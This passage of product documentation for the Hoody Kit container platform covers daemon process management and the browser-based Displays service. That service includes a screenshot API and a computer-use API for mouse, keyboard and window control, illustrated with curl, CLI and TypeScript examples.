- **STOPPING** ⏳ - Gracefully shutting down (temporary)
- **BACKOFF** ⚠️ - Failed to start, retrying
- **FATAL** 💀 - Failed to start after retries, manual intervention needed

**Status Response**:
```json
{
  "statusCode": 200,
  "message": "OK",
  "data": {
    "success": true,
    "status": {
      "id": 1,
      "status": "RUNNING",
      "pid": 12345,
      "uptime": "2:15:30"
    }
  }
}
```

## Startup Priority

Control boot order when multiple programs depend on each other:

```json
[
  {
    "name": "database",
    "priority": 1,  // Starts first
    "boot": true
  },
  {
    "name": "cache",
    "priority": 5,  // Starts second
    "boot": true
  },
  {
    "name": "web-server",
    "priority": 10, // Starts last
    "boot": true
  }
]
```

Lower priority number = starts earlier.

## Managing Hoody Kit Services


**The entire Hoody Kit is managed by this Daemon service.** Every Kit service (Terminal, Display, Files, SQLite, Browser, Exec, Workspaces, Code, cURL, Cron, Notifications, Pipe, Notes, Watch, Run, Tunnel, Proxy Logs, and Daemons itself) runs as a daemon program.

Want to disable hoody-terminal temporarily? Stop it via the Daemons API. Need to restart hoody-sqlite? Control it here. This means you have **complete control over which Hoody Kit services are running** in your container through this simple HTTP API.

List all programs to see every Kit service running as a daemon — for example `hoody-terminal`, `hoody-display`, `hoody-files`, `hoody-sqlite`, `hoody-browser`, `hoody-exec`, `hoody-workspaces`, `hoody-code`, `hoody-curl`, `hoody-cron`, `hoody-notifications`, `hoody-pipe`, `hoody-notes`, `hoody-watch`, `hoody-run`, `hoody-tunnel`, `hoody-proxy`, and `hoody-daemon` itself.


## Use Cases

### Web Servers & APIs
Run Node.js, Python, or Go servers as daemons with auto-restart, configure logging for debugging, set startup priority if dependencies exist, monitor with status endpoint.

### Background Workers
Queue processors (Bull, Sidekiq, Celery), scheduled task runners, data sync services, cleanup jobs.

### Custom Background Services
Run custom application services, workers, and scripts with proper startup order and auto-restart policies. **Do not** use Hoody Daemon to manage package-installed system services such as PostgreSQL, MySQL, Redis, MongoDB, nginx, or apache — use the system service manager (systemd, OpenRC) for those.

### Monitoring Agents
Prometheus exporters, log shippers, health check agents, metrics collectors.

### Development Servers
Hot-reload dev servers, file watchers, test runners, development proxies.

### Microservices
Independent service processes, inter-service communication, graceful shutdown coordination, centralized process management.

## Best Practices

### Initial Configuration
Always add programs with `enabled: false`, verify configuration before enabling, test manually before setting `boot: true`, enable auto-restart only after stability testing.

### Updating Running Programs
Stop the process first, disable program to prevent auto-restart, edit configuration, enable and start with new config, verify new configuration works before cleanup.

### Logging Strategy
Always configure stdout and stderr logs, use absolute paths for log files, implement log rotation to manage disk space, monitor logs for errors and warnings.

### User Permissions
Run each program as appropriate system user, never run services as root unless required, create dedicated users for each service type, use principle of least privilege.

### Dependency Management
Use priority field for startup ordering, lower priority (1-5) for core services, higher priority (10-20) for dependent services, test boot sequence thoroughly.

### Monitoring
Poll `/status` endpoint regularly, alert on BACKOFF or FATAL states, track uptime for reliability metrics, implement health checks via other services.

## Useful Questions

**Q: What's the difference between enable and start?**
Enable is configuration ("program can run"), start is runtime action ("launch the process"). You must enable before starting.

**Q: How do I make a program start on boot?**
Set `boot: true` in the configuration. The program will auto-start when the daemon service initializes.

**Q: Can I update a running program?**
You must stop and disable it first, then edit, then enable and start again. Changes don't apply to running processes.

**Q: What happens if a process crashes?**
Depends on `autorestart`: `"true"` restarts immediately, `"false"` stays stopped, `"unexpected"` restarts only on crashes.

**Q: How do I run multiple instances of the same program?**
Create separate program configurations with different names, unique ports/sockets in command, different data directories, distinct priority values.

**Q: Can I see process output?**
Configure `stdout_logfile` and `stderr_logfile`, access logs via file system or Files service, tail logs in real-time with Files API.

**Q: How do I check if a program is running?**
Call `GET /status/{id}` - look for `status: "RUNNING"` and presence of `pid` field.

## Troubleshooting

### Program Won't Start (BACKOFF/FATAL)
**Cause**: Command fails, port already in use, missing dependencies, wrong user permissions.
**Solution**: Check stderr log file, verify command works manually, ensure port is available, confirm user exists and has permissions, run command directly as that user to test.

### Can't Update Running Program
**Cause**: Changes don't apply to running processes.
**Solution**: Follow proper sequence - stop, disable, edit, enable, start. Supervisord only reloads config on enable/disable.

### Auto-Restart Not Working
**Cause**: `autorestart: "false"` or program disabled.
**Solution**: Set `autorestart: "true"`, ensure program is enabled, check it's not in FATAL state, review supervisord logs.

### Program Stops Immediately After Start
**Cause**: Command exits normally, missing keep-alive loop, process detaches.
**Solution**: Verify command stays running (not a one-shot task), add keep-alive loop if needed, check for immediate errors in logs.

### Priority Not Respected on Boot
**Cause**: Boot delay not set, priority too similar.
**Solution**: Add `delay_seconds` between priorities, ensure priority numbers differ by 5+, check all programs have `boot: true`.

### Status Shows Wrong State
**Cause**: Status cache or supervisord mismatch.
**Solution**: Refresh status endpoint, check supervisord directly, restart daemon manager if persistent, verify program actually running with `ps`.

## What's Next

---

# Displays

**Page:** kit/displays

[Download Raw Markdown](./kit/displays.md)

---

# Displays

**Your desktop applications are URLs.** Run VS Code, browsers, LibreOffice, any GUI program—accessible from your phone, tablet, laptop, or TV. Just open the URL.

Every Hoody container includes **hoody-display**, transforming your entire Linux desktop into a web-native interface with zero client installation.

---

## What You Can Do

**hoody-display** provides complete desktop access through HTTP:

- **🖥️ Full Desktop Environments** - Run any GUI application via HTML5 client
- **📱 Universal Access** - Phone, tablet, laptop, TV—anything with a browser
- **👥 Multiplayer Sessions** - Multiple users viewing/controlling same desktop simultaneously
- **🎨 50+ Customization Options** - Configure via URL parameters (themes, performance, input)
- **📸 Screenshot API** - Capture desktop state as PNG/JPEG programmatically
- **🖱️ Computer Use API** - Full mouse, keyboard, and window control over HTTP (dozens of endpoints)
- **🔧 Zero Installation** - No VNC client, no RDP, just browser
- **⚡ Hardware Acceleration** - H264 video encoding for smooth graphics
- **📋 Clipboard Sync** - Copy/paste between local and remote automatically


**Access Control**: By default, display URLs are open to anyone who has the cryptographic URL. Configure [Proxy Permissions →](/foundation/proxy/permissions/) to add authentication (IP whitelist, passwords, JWT tokens) when needed.


---

## API Endpoints Summary

**Official Technical Reference:**

For complete endpoint documentation with all parameters, responses, and examples:

**Web Client Interface:**
- **[GET /](/api/displays/web-client/)** - HTML5 display client with 50+ URL customization parameters
  - [UI & Theming](/api/displays/ui-theming/) - `dark_mode`, `decorations`, `toolbar`, `floating_menu`, `title`
  - [Performance & Encoding](/api/displays/performance/) - `encoding`, `bandwidth_limit`, `video`, `quality`
  - [Input & Clipboard](/api/displays/input-clipboard/) - `keyboard_layout`, `swap_keys`, `clipboard`, `keyboard`
  - [Session Sharing](/api/displays/session-sharing/) - `sharing`, `steal`, `reconnect`, `readonly`
  - [Feature Flags](/api/displays/feature-flags/) - `sound`, `file_transfer`, `printing`
  - [Debugging](/api/displays/debugging/) - `debug_main`, `debug_network`, `debug_keyboard`, `debug_mouse`

**Screenshot & Thumbnail API:**
- **[GET /api/v1/display/screenshot](/api/displays/screenshots/)** - Capture new full-resolution screenshot
- **[GET /api/v1/display/screenshot/last](/api/displays/screenshots/)** - Get most recent screenshot without capturing
- **[GET /api/v1/display/screenshot/\{timestamp\}](/api/displays/screenshots/)** - Get historical screenshot by timestamp
- **[GET /api/v1/display/screenshot/info](/api/displays/screenshots/)** - Get metadata only (no image)
- **[GET /api/v1/display/thumbnail](/api/displays/screenshots/)** - Capture new lightweight preview
- **[GET /api/v1/display/thumbnail/last](/api/displays/screenshots/)** - Get latest thumbnail
- **[GET /api/v1/display/thumbnail/\{timestamp\}](/api/displays/screenshots/)** - Get historical thumbnail

**System Information:**
- **[GET /api/v1/display/health](/api/displays/health/)** - Service health check
- **[GET /api/v1/display/info](/api/displays/screenshots/)** - Display info with screenshot list
- **[GET /api/v1/display/screenshots](/api/displays/screenshots/)** - List all available screenshots with metadata
- **[GET /api/v1/display/screenshot/last/info](/api/displays/screenshots/)** - Get latest screenshot metadata without capturing new one

**Mouse Control:**
- **POST /api/v1/display/mouse/click** - Click a mouse button
- **POST /api/v1/display/mouse/double-click** - Double-click
- **POST /api/v1/display/mouse/move** - Move cursor to absolute position
- **POST /api/v1/display/mouse/move-relative** - Move cursor by offset
- **POST /api/v1/display/mouse/down** - Press and hold mouse button
- **POST /api/v1/display/mouse/up** - Release mouse button
- **POST /api/v1/display/mouse/scroll** - Scroll
- **GET /api/v1/display/mouse/location** - Get current cursor position

**Keyboard Control:**
- **POST /api/v1/display/keyboard/type** - Type a string of text
- **POST /api/v1/display/keyboard/key** - Press key combinations (X11 keysym notation)
- **POST /api/v1/display/keyboard/key-down** - Hold a key down
- **POST /api/v1/display/keyboard/key-up** - Release a held key

**Window Management:**
- **GET /api/v1/display/windows** - List all windows
- **POST /api/v1/display/window/focus** - Focus/activate a window
- **POST /api/v1/display/window/move** - Move a window
- **POST /api/v1/display/window/resize** - Resize a window
- **POST /api/v1/display/window/minimize** - Minimize a window
- **POST /api/v1/display/window/close** - Close a window
- **POST /api/v1/display/window/raise** - Raise window to top
- **GET /api/v1/display/window/active** - Get active window ID
- **POST /api/v1/display/window/search** - Search windows by title pattern
- **GET /api/v1/display/window/\{windowId\}/geometry** - Get window position and size
- **GET /api/v1/display/window/\{windowId\}/name** - Get window title
- **GET /api/v1/display/window/\{windowId\}/properties** - Get extended window properties

**Compound Actions (Computer Use):**
- **POST /api/v1/display/input/click-at** - Move cursor and click
- **POST /api/v1/display/input/type-at** - Move, click, and type in one operation
- **POST /api/v1/display/input/drag** - Drag from one position to another
- **POST /api/v1/display/input/select** - Select a range via click + shift-click
- **POST /api/v1/display/input/act** - Execute one action with optional screenshot
- **POST /api/v1/display/input/wait** - Wait with optional screenshot
- **POST /api/v1/display/input/batch** - Execute a sequence of actions atomically
- **POST /api/v1/display/input/reset** - Emergency release all held inputs
- **GET /api/v1/display/input/display-geometry** - Get display dimensions

---

## Core Capabilities

### 1. Desktop as a URL

**Every container can run multiple display instances—one per application:**

```
https://{project}-{container}-display-1.{server}.containers.hoody.icu
https://{project}-{container}-display-2.{server}.containers.hoody.icu
https://{project}-{container}-display-3.{server}.containers.hoody.icu
```

**Recommended pattern: One display per application**

- `display-1` - Your main IDE (VS Code)
- `display-2` - Web browser (Firefox/Chrome)
- `display-3` - Office applications (LibreOffice)
- `display-4` - Graphics editor (GIMP)
- `display-5` - Database tools

**Why separate displays matter:**

Each display runs independently with its own:
- Screen resolution
- Window manager state
- Application set
- Performance profile

**Access any display from any browser**—phone, tablet, laptop, TV. No installation. No configuration. Just open the URL.

**Terminal integration:** When you use [`terminal-5`](/kit/terminals/), it automatically connects to `display-5` (`:5` in X11 terms). This makes GUI programs work seamlessly—run `firefox` in terminal-5, and it appears in display-5.

**Manual display selection:** Set the `DISPLAY` environment variable to target a specific display:

```bash
# In any terminal
export DISPLAY=:5

# Now GUI programs open in display-5
firefox &  # Opens in display-5
code .     # Opens in display-5
```

This flexibility lets you organize applications across displays while controlling them from any terminal.

### 2. Access from Literally Anywhere

**Your phone is now a full computer:**

Same URL on different devices:
- **Laptop browser** → Full desktop experience
- **Phone browser** → Same desktop, touch-optimized
- **Tablet** → Perfect for presentations
- **TV** → Display on big screen
- **Smart watch** → View monitoring dashboards
- **Smart glasses** (future) → AR overlays of your infrastructure

**Because everything is HTTP, device capabilities don't limit you.** Your phone didn't get more powerful—it became a window into infinite compute.

### 3. Multiplayer Desktop Sessions

**Share the URL and everyone sees/controls the same desktop:**

```
https://{project}-{container}-display-1.{server}.containers.hoody.icu/?sharing=true
```

Multiple users connecting:
- ✅ See the same screen in real-time
- ✅ Can all type and click simultaneously  
- ✅ Cursors show who's doing what
- ✅ Changes reflect instantly for everyone

**Perfect for:**
- Team debugging (everyone sees the error)
- Teaching (instructor and students share desktop)
- Pair programming (both using same IDE)
- Customer support (solve issues together)

**See:** [Multiplayer by Default →](/vision/multiplayer/) for collaboration philosophy.

### 4. Extensive Customization

**Configure the entire experience via URL parameters:**

```txt
# Read-only dashboard
?readonly=true&decorations=false&toolbar=false&reconnect=true

# Low-bandwidth mode
?encoding=jpeg&bandwidth_limit=1000000&video=false&sound=false

# Collaborative session
?sharing=true&steal=false

# macOS user setup
?swap_keys=true&keyboard_layout=us

# Dark mode with floating menu
?floating_menu=true&dark_mode=true
```

**Over 50 parameters** control UI, performance, input, features, and behavior.

**See:** [Web Client Interface →](/api/displays/web-client/) for complete customization reference.

### 5. Screenshot API

**Programmatically capture desktop state:**

```bash
# Capture current screenshot
GET /screenshot?displayId=1

# Get as base64 for AI vision
GET /screenshot?base64=true

# Lightweight thumbnail
GET /thumbnail/last
```

**Use cases:**
- AI vision analysis of UI states
- Automated testing verification
- Documentation generation
- Monitoring dashboards
- Time-lapse recordings

**See:** [Screenshot API →](/api/displays/screenshots/)

### 6. Embeddable Everywhere

**Because displays are URLs, they're `<iframe>`able:**

```html
<!-- Embed desktop in webpage -->
<iframe src="https://{project}-{container}-display-1.{server}.containers.hoody.icu" 
        width="1280" height="720" />

<!-- Multiple displays in one page -->
<iframe src="https://prod-container-display-1.hoody.icu" />
<iframe src="https://staging-container-display-1.hoody.icu" />
<iframe src="https://dev-container-display-1.hoody.icu" />
```

**Build custom dashboards** by composing iframes. Your infrastructure IS the UI.

**See:** [Embeddability Revolution →](/vision/embeddability/)

---

## Why This Changes Everything

### Traditional Remote Desktop

```
RDP Client (installed) → RDP Server (configured) → Desktop (complex)
```

**Problems:**
- Client installation required (difficult on mobile devices)
- Port configuration and firewalls
- Not embeddable (can't iframe RDP)
- Single-user (one connection kicks others)
- AI can't see (binary protocol)
- Complex setup

### Hoody Displays

```
Any Browser → Display URL → Desktop (immediately)
```

**Advantages:**
- ✅ Zero installation (every device has browser)
- ✅ Zero port configuration (HTTPS port 443 through Hoody Proxy)
- ✅ Naturally embeddable (`<iframe src="display-url" />`)
- ✅ Multiplayer by default (share URL = instant collaboration)
- ✅ AI-accessible (HTTP + screenshot API)
- ✅ Observable (all HTTP, fully logged)
- ✅ Mobile-native (works on phones out-of-box)

### Desktop Applications on Mobile

**Your phone can now run:**

```javascript
// Phone browser opens display URL
https://{project}-{container}-display-1.{server}.containers.hoody.icu

// Inside that desktop:
- Full VS Code IDE
- Chrome browser with DevTools
- Terminal sessions
- Database tools
- Any Linux GUI application
```

**The device doesn't matter. The URL is the computer.**

---

## Computer Use API

**This is where Hoody gets dangerous.** Full programmatic control of any desktop over HTTP — mouse, keyboard, windows, compound actions. Dozens of endpoints. Every one of them a REST call.

AI agents, automation scripts, remote operators — anything that can make an HTTP request can now drive a GUI application with the precision of a human, at the speed of software.

### Mouse Control

Pixel-precise cursor control at any speed:



```bash
# Move cursor to position
hoody display move --x 640 --y 480 --display-id 10 -c <container-id>

# Click at current position
hoody display click --button 1 --display-id 10 -c <container-id>

# Double-click
hoody display double-click --button 1 --display-id 10 -c <container-id>

# Scroll down
hoody display scroll --direction down --clicks 5 --display-id 10 -c <container-id>
```


```typescript


const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
const containerClient = await client.withContainer({ id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

// Move cursor to position
await containerClient.display.input.mouseMove({ x: 960, y: 540 }, { displayId: 10 });

// Click the left mouse button
await containerClient.display.input.mouseClick({ button: 1 }, { displayId: 10 });

// Double-click
await containerClient.display.input.mouseDoubleClick({ button: 1 }, { displayId: 10 });

// Scroll down
await containerClient.display.input.mouseScroll({ direction: 'down', clicks: 3 }, { displayId: 10 });

// Get current cursor position
const location = await containerClient.display.input.mouseLocation({ displayId: 10 });
```


```bash
# Click the left mouse button
curl -X POST "https://{project}-{container}-display-1.{server}.containers.hoody.icu/api/v1/display/mouse/click" \
  -H "Content-Type: application/json" \
  -d '{"button": 1}'

# Double-click
curl -X POST ".../api/v1/display/mouse/double-click" \
  -d '{"button": 1}'

# Move cursor to absolute position
curl -X POST ".../api/v1/display/mouse/move" \
  -d '{"x": 960, "y": 540}'

# Move cursor by relative offset
curl -X POST ".../api/v1/display/mouse/move-relative" \
  -d '{"x": 50, "y": -20}'

# Press and hold mouse button (for drag setup)
curl -X POST ".../api/v1/display/mouse/down" \
  -d '{"button": 1}'

# Release held mouse button
curl -X POST ".../api/v1/display/mouse/up" \
  -d '{"button": 1}'

# Scroll down
curl -X POST ".../api/v1/display/mouse/scroll" \
  -d '{"direction": "down", "clicks": 3}'

# Get current cursor position
curl ".../api/v1/display/mouse/location"
```



**Available mouse buttons:** `1` (left), `2` (middle), `3` (right)

### Keyboard Control

Type text and send any key combination the OS understands:



```bash
# Type text
hoody display type --text "Hello, World!" --delay 50 --display-id 10 -c <container-id>

# Press key combination
hoody display key --keys "ctrl+s" --display-id 10 -c <container-id>

# Hold key
hoody display key-down --key "Shift_L" --hold-ms 2000 --display-id 10 -c <container-id>
```


```typescript
// Type a string of text
await containerClient.display.input.keyboardType({ text: 'Hello, world!' }, { displayId: 10 });

// Press key combinations (X11 keysym notation)
await containerClient.display.input.keyboardKey({ keys: ['ctrl+c'] }, { displayId: 10 });
await containerClient.display.input.keyboardKey({ keys: ['ctrl+shift+t'] }, { displayId: 10 });

// Hold a key down
await containerClient.display.input.keyboardKeyDown({ key: 'shift' }, { displayId: 10 });

// Release a held key
await containerClient.display.input.keyboardKeyUp({ key: 'shift' }, { displayId: 10 });
```


```bash
# Type a string of text
curl -X POST "https://{project}-{container}-display-1.{server}.containers.hoody.icu/api/v1/display/keyboard/type" \
  -H "Content-Type: application/json" \
  -d '{"text": "Hello, world!"}'

# Press key combinations (X11 keysym notation)
curl -X POST ".../api/v1/display/keyboard/key" \
  -d '{"keys": ["ctrl+c"]}'

curl -X POST ".../api/v1/display/keyboard/key" \
  -d '{"keys": ["ctrl+shift+t"]}'

curl -X POST ".../api/v1/display/keyboard/key" \
  -d '{"keys": ["super+l"]}'

# Hold a key down (for sustained modifier keys)
curl -X POST ".../api/v1/display/keyboard/key-down" \
  -d '{"key": "shift"}'

# Release a held key
curl -X POST ".../api/v1/display/keyboard/key-up" \
  -d '{"key": "shift"}'
```



### Window Management

Enumerate, target, and fully control any window on the desktop:



```bash
# List visible windows
hoody display list --only-visible --display-id 10 -c <container-id>

# Focus a window
hoody display focus --window-id 83886081 --display-id 10 -c <container-id>

# Move a window
hoody display move --window-id 83886081 --x 100 --y 100 --display-id 10 -c <container-id>

# Resize a window
hoody display resize --window-id 83886081 --width 1024 --height 768 --display-id 10 -c <container-id>

# Search for windows by name
hoody display search --pattern "Firefox" --name --only-visible --display-id 10 -c <container-id>
```


```typescript
// List all windows
const windows = await containerClient.display.listWindows({ displayId: 10 });

// Get the currently active window ID
const activeId = await containerClient.display.input.windowActive({ displayId: 10 });

// Search windows by title pattern
const matches = await containerClient.display.input.windowSearch({ pattern: 'Visual Studio Code' }, { displayId: 10 });

// Focus/activate a window
await containerClient.display.input.windowFocus({ windowId: 12345678 }, { displayId: 10 });

// Move a window to new position
await containerClient.display.input.windowMove({ windowId: 12345678, x: 100, y: 50 }, { displayId: 10 });

// Resize a window
await containerClient.display.input.windowResize({ windowId: 12345678, width: 1280, height: 800 }, { displayId: 10 });

// Close a window
await containerClient.display.input.windowClose({ windowId: 12345678 }, { displayId: 10 });
```


```bash
# List all windows
curl "https://{project}-{container}-display-1.{server}.containers.hoody.icu/api/v1/display/windows"

# Get the currently active window ID
curl ".../api/v1/display/window/active"

# Search windows by title pattern
curl -X POST ".../api/v1/display/window/search" \
  -H "Content-Type: application/json" \
  -d '{"pattern": "Visual Studio Code"}'

# Focus/activate a window
curl -X POST ".../api/v1/display/window/focus" \
  -d '{"windowId": 12345678}'

# Move a window to new position
curl -X POST ".../api/v1/display/window/move" \
  -d '{"windowId": 12345678, "x": 100, "y": 50}'

# Resize a window
curl -X POST ".../api/v1/display/window/resize" \
  -d '{"windowId": 12345678, "width": 1280, "height": 800}'

# Minimize a window
curl -X POST ".../api/v1/display/window/minimize" \
  -d '{"windowId": 12345678}'

# Raise window to top of z-order
curl -X POST ".../api/v1/display/window/raise" \
  -d '{"windowId": 12345678}'

# Close a window
curl -X POST ".../api/v1/display/window/close" \
  -d '{"windowId": 12345678}'

# Get window position and size
curl ".../api/v1/display/window/12345678/geometry"

# Get window title
curl ".../api/v1/display/window/12345678/name"

# Get extended window properties
curl ".../api/v1/display/window/12345678/properties"
```



### Compound Actions (Computer Use)

The high-level interface for computer use workflows. These endpoints combine multiple primitives into single atomic operations — exactly what AI agents need:



```bash
# Click at specific position
hoody display click-at --x 640 --y 480 --button 1 --display-id 10 -c <container-id>

# Type at position
hoody display type-at --x 300 --y 400 --text "Hello" --delay 50 --display-id 10 -c <container-id>

# Drag between positions
hoody display drag --start-x 100 --start-y 100 --end-x 300 --end-y 300 --button 1 --steps 50 --display-id 10 -c <container-id>

# Execute action with screenshot
hoody display act --action "mouse/click" --params '{"button":1}' --screenshot --screenshot-delay 200 --display-id 10 -c <container-id>
```


```typescript
// Click at specific position
await containerClient.display.input.clickAt({ x: 960, y: 540, button: 1 }, { displayId: 10 });

// Move, click, and type — fill a form field
await containerClient.display.input.typeAt({ x: 450, y: 320, text: 'user@example.com' }, { displayId: 10 });

// Drag from one position to another
await containerClient.display.input.drag({ startX: 100, startY: 200, endX: 500, endY: 200 }, { displayId: 10 });

// Execute action with post-action screenshot
const result = await containerClient.display.input.act({
  action: 'mouse/click',
  params: { button: 1 },
  screenshot: true,
}, { displayId: 10 });

// Execute a sequence of actions in one call
await containerClient.display.input.batch({
  actions: [
    { action: 'mouse/click', params: { button: 1 } },
    { action: 'wait', params: { ms: 500 } },
    { action: 'keyboard/type', params: { text: 'https://hoody.icu' } },
    { action: 'keyboard/key', params: { keys: ['Return'] } },
    { action: 'wait', params: { ms: 2000 } },
    { action: 'screenshot' },
  ],
}, { displayId: 10 });

// Emergency: release all held inputs
await containerClient.display.input.reset({ displayId: 10 });
```


```bash
# Move cursor and click in one call
curl -X POST "https://{project}-{container}-display-1.{server}.containers.hoody.icu/api/v1/display/input/click-at" \
  -H "Content-Type: application/json" \
  -d '{"x": 960, "y": 540, "button": 1}'

# Move, click, and type — all in one operation
# Perfect for filling form fields
curl -X POST ".../api/v1/display/input/type-at" \
  -d '{"x": 450, "y": 320, "text": "user@example.com"}'

# Drag from one position to another
curl -X POST ".../api/v1/display/input/drag" \
  -d '{"startX": 100, "startY": 200, "endX": 500, "endY": 200}'

# Select a range via click + shift-click
curl -X POST ".../api/v1/display/input/select" \
  -d '{"x": 200, "y": 150, "endX": 800, "endY": 150}'

# Execute a single action with optional post-action screenshot
curl -X POST ".../api/v1/display/input/act" \
  -d '{"action": "mouse/click", "params": {"button": 1}, "screenshot": true}'

# Wait (with optional screenshot to observe state)
curl -X POST ".../api/v1/display/input/wait" \
  -d '{"ms": 1500, "screenshot": true}'

# Execute a sequence of actions in one HTTP call
curl -X POST ".../api/v1/display/input/batch" \
  -H "Content-Type: application/json" \
  -d '{
    "actions": [
      {"action": "mouse/click", "params": {"button": 1}},
      {"action": "wait", "params": {"ms": 500}},
      {"action": "keyboard/type", "params": {"text": "https://hoody.icu"}},
      {"action": "keyboard/key", "params": {"keys": ["Return"]}},
      {"action": "wait", "params": {"ms": 2000}},
      {"action": "screenshot"}
    ]
  }'

# Emergency: release all held inputs (buttons, keys)
curl -X POST ".../api/v1/display/input/reset"

# Get display dimensions
curl ".../api/v1/display/input/display-geometry"
```



### Full Computer Use Workflow

**AI agent opens a browser, navigates, fills a form, submits:**

```javascript
const base = 'https://{project}-{container}-display-1.{server}.containers.hoody.icu';

// 1. Find the browser window
const windows = await fetch(`${base}/api/v1/display/windows`).then(r => r.json());
const browser = windows.find(w => w.name.includes('Firefox'));

// 2. Focus it
await fetch(`${base}/api/v1/display/window/focus`, {
  method: 'POST',
  body: JSON.stringify({ windowId: browser.id })
});

// 3. Navigate to URL via address bar
await fetch(`${base}/api/v1/display/input/batch`, {
  method: 'POST',
  body: JSON.stringify({
    actions: [
      { action: 'keyboard/key', params: { keys: ['ctrl+l'] } },  // Focus address bar
      { action: 'wait', params: { ms: 200 } },
      { action: 'keyboard/type', params: { text: 'https://app.example.com/login' } },
      { action: 'keyboard/key', params: { keys: ['Return'] } },
      { action: 'wait', params: { ms: 2000 } },                  // Wait for page load
      { action: 'screenshot' }                                    // Verify it loaded
    ]
  })
});

// 4. Fill in login form
await fetch(`${base}/api/v1/display/input/type-at`, {
  method: 'POST',
  body: JSON.stringify({ x: 640, y: 380, text: 'user@example.com' })
});

await fetch(`${base}/api/v1/display/input/type-at`, {
  method: 'POST',
  body: JSON.stringify({ x: 640, y: 450, text: 'supersecretpassword' })
});

// 5. Submit and capture result
const result = await fetch(`${base}/api/v1/display/input/act`, {
  method: 'POST',
  body: JSON.stringify({
    action: 'keyboard/key',
    params: { keys: ['Return'] },
    screenshot: true
  })
}).then(r => r.json());

// result.screenshot contains base64 PNG — send to vision model to verify login success
```

**This is full computer use.** Not CLI wrappers. Not browser automation. Actual pixel-level GUI control over HTTP, on any Linux application, in any window, driven by anything that can make a curl request.


**Batch for performance:** Combine multiple actions into a single `POST /api/v1/display/input/batch` call to minimize round-trips. Each action in a batch executes sequentially with optional waits between steps.



**Always call reset on failure:** If your automation script crashes mid-interaction, a key or mouse button may remain held down. Call `POST /api/v1/display/input/reset` to release all inputs before retrying.


---

## Common Workflows

### Personal Development Environment

**Access your full dev environment from any device:**

```bash
# Laptop: Configure display
https://dev-container-display-1.hoody.icu/?fontSize=14&swap_keys=true

# Phone (later): Same URL, same environment
https://dev-container-display-1.hoody.icu/?fontSize=14&swap_keys=true

# Tablet (during presentation): Same environment
https://dev-container-display-1.hoody.icu/?fontSize=16
```

**One computer. Accessible from phone, laptop, tablet, TV.** Not synced—actually the same running instance.

### Team Collaboration

**Multiple users working in same desktop:**

```javascript
// Setup: Create collaborative session
const displayUrl = 'https://{project}-{container}-display-1.{server}.containers.hoody.icu';
const collaborativeUrl = `${displayUrl}/?sharing=true&steal=false`;

// Share URL with team
// Everyone sees same desktop
// Everyone can:
// - Open files in shared VS Code
// - Type in shared terminal  
// - Click in shared browser
// - Edit in shared applications

// Real-time collaboration like Google Docs, but for your entire desktop
```

### Customer Support

**Support agent helps customer by joining their desktop:**

```bash
# Customer shares display URL
https://customer-issue-container-display-1.hoody.icu/?sharing=true

# Support agent opens URL on phone during commute
# Sees customer's desktop
# Types fix directly
# Issue resolved in 2 minutes

# No screen share setup
# No "can you see my screen?"
# Just shared desktop state
```

### Presentations and Demos

**Present live desktop to team:**

```txt
# Presenter URL (full control)
?sharing=true&steal=false&readonly=false

# Viewers URL (watch only)
?sharing=true&steal=false&readonly=true
```

Presenter controls desktop. Viewers watch in real-time. Perfect for:
- Product demos
- Architecture reviews
- Training sessions
- Live coding demonstrations

### AI Vision Integration

**Let AI see and analyze your desktop:**

```javascript
// 1. Capture screenshot via HTTP
const response = await fetch(
  'https://{project}-{container}-display-1.{server}.containers.hoody.icu/screenshot?base64=true'
);
const { image, info } = await response.json();

// 2. Send to a vision model via Hoody AI (any provider you've configured)
const analysis = await ai.chat.completions.create({
  model: 'your-vision-model',
  messages: [{
    role: 'user',
    content: [
      { type: 'text', text: 'What errors do you see in this IDE?' },
      { type: 'image_url', image_url: { url: `data:image/png;base64,${image.data}` }}
    ]
  }]
});

// 3. AI describes what it sees
console.log(analysis.choices[0].message.content);
// "I see a syntax error on line 23: unclosed bracket..."
```

**AI can now see your desktop** and provide visual debugging, UI analysis, and accessibility testing.

### Monitoring Dashboards

**Embed multiple displays in monitoring dashboard:**

```html
<div style="display: grid; grid-template-columns: repeat(3, 1fr); gap: 1rem;">
  <!-- Production -->
  <iframe src="https://prod-container-display-1.hoody.icu/?readonly=true&toolbar=false" />
  
  <!-- Staging -->
  <iframe src="https://staging-container-display-1.hoody.icu/?readonly=true&toolbar=false" />
  
  <!-- Development -->
  <iframe src="https://dev-container-display-1.hoody.icu/?readonly=true&toolbar=false" />
</div>
```

**Live view of all environments.** No switching tabs. All visible at once.

---

## Use Cases

### Remote Work Without Limits

Work from café, beach, airport, hotel—anywhere with internet. Your desktop isn't on your laptop—it's in the URL. Laptop breaks? Use any device. Travel light, work heavy.

### Social Media Team Management

**20 brand accounts, one desktop, five team members:**

One container runs multiple browsers, each logged into different social accounts. All team members open the display URL. Everyone sees all 20 browsers. Coordinate without "whose turn to post?" or credential sharing.

**One computer is shared control center.** No individual logins. No syncing. Just shared desktop state.

### Development Across Devices

Start coding on laptop. Continue on tablet during commute. Finish on phone at café. Same VS Code. Same terminal. Same files. Not synced—same actual desktop.

### AI-First Development

AI agent joins your display URL:
1. Takes screenshots to see what you're working on
2. Types in your IDE via input API
3. Runs tests in your terminal
4. Debugs by seeing actual UI state

**AI and human as peers on same desktop.** Not AI suggesting—AI executing.

### Teaching and Training

Instructor's desktop URL shared with 30 students. Everyone sees the same screen. Instructor demonstrates. Students can take control when invited. Interactive learning at scale.

### Support Without Screen Share

Customer has issue. Shares display URL. Support agent opens URL on ANY device. Sees customer's desktop. Types fix. Issue resolved. No Zoom. No "can you click here?". Just shared desktop via URL.

---

## Best Practices

### Optimize for Your Network

**On fast connection:**
```txt
?encoding=h264&quality=90&video=true
```

**On slow/metered connection:**
```txt
?encoding=jpeg&quality=60&video=false&bandwidth_limit=500000
```

### Use Readonly for Presentations

**Prevent accidental input during demos:**

```txt
?readonly=true&steal=false&sharing=true
```

Viewers can't type or click. Perfect for presentations or monitoring dashboards.

### Configure Keyboard for Your OS

**macOS users need key swap:**

```txt
?swap_keys=true&keyboard_layout=us
```

Maps Cmd to Ctrl automatically, preserving muscle memory for copy/paste.

### Enable Reconnect for Stability

**Auto-reconnect on network interruption:**

```txt
?reconnect=true
```

Essential for mobile use (switching WiFi/cellular) or unreliable networks.

### Use Thumbnails for Galleries

**Build monitoring views with lightweight previews:**

```javascript
// Get thumbnail (small, fast)
const thumb = await fetch('.../thumbnail/last');

